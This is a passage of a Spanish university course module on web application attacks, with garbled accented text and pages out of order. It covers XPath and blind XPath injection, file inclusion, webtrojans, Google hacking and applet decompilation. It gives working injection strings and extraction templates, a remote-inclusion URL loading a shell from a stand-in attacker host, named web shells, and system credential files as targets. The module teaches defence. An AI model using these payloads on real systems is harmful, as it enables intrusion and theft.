Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 49: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

